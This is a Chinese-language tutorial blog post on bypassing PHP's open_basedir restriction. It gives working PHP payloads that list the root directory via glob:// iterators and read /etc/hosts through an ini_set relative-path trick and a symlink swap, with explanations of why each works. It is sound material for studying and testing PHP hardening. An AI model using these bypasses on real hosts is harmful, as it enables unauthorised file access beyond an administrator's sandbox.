一、仅获取目录
1、DirectoryIterator类 + glob://协议
利用DirectoryIterator类对象+glob://协议获取目录结构,能够突破open_basedir的限制
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();
$dir = new DirectoryIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new DirectoryIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
?>
2、FilesystemIterator类 + glob://协议
FilesystemIterator继承自DirectoryIterator,在显示上与父类略微有区别
<?php
print_r(ini_get('open_basedir').'<br>');
$dir_array = array();
$dir = new FilesystemIterator('glob:///*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
$dir = new FilesystemIterator('glob:///.*');
foreach($dir as $d){
$dir_array[] = $d->__toString();
}
sort($dir_array);
foreach($dir_array as $d){
echo $d.' ';
}
show_source(__FILE__);
?>
二、文件读取
1、ini_set() + 相对路径
由于open_basedir自身的问题,设置为相对路径.. 在解析的时候会致使自身向上跳转一层
<?php
show_source(__FILE__);
print_r(ini_get('open_basedir').'<br>');
mkdir('test');
chdir('test');
ini_set('open_basedir','..');
chdir('..');
chdir('..');
chdir('..');
ini_set('open_basedir','/');
echo file_get_contents('/etc/hosts');
?>
原理
若open_basedir限定到了当前目录,就需要新建子目录,进入设置其为.. ,若已经是open_basedir的子目录就不需要,因为限定到了当前目录再设置为.. 就会出错。之后每次引用路径就会触发open_basedir判别,而在解析open_basedir的时候会拼接上.. ,从而引发open_basedir自身向上跳一级,最后跳到了根目录,再将open_basedir设置到根目录即可
底层详细原理见引用:
从PHP底层看open_basedir bypass · sky’s blog (skysec.top)
注意
最后chdir到根目录后,设置open_basedir一定是/ 而不能是. ,否则相对路径转换出错从而失败
2、shell命令执行
shell命令不受open_basedir的影响
3、symlink()
symlink是软连接,通过偷梁换柱的方法绕过open_basedir
当前路径是/www/wwwroot/default ,新建目录数量=需要上跳次数+1
<?php
show_source(__FILE__);
mkdir("1");chdir("1");
mkdir("2");chdir("2");
mkdir("3");chdir("3");
mkdir("4");chdir("4");
chdir("..");chdir("..");chdir("..");chdir("..");
symlink("1/2/3/4","tmplink");
symlink("tmplink/../../../../etc/hosts","bypass");
unlink("tmplink");
mkdir("tmplink");
echo file_get_contents("bypass");
?>
原理
symlink会生成一个快捷方式,首先明确需要上跳三次,建四个目录,然后生成软连接symlink("1/2/3/4","tmplink") ,然后再生成symlink("tmplink/../../../../etc/hosts","bypass"); ,化简一下也就是etc/hosts ,在当前目录下,因此通过了open_basedir创建成功
之后,把软连接tmplink换成文件夹tmplink,变成了/www/wwwroot/default/tmplink/../../../../etc/hosts ,化简就是/etc/hosts
关键就在于软连接中相对路径的转换是不区分类型,用文件夹顶替了软连接
完
欢迎在评论区留言
|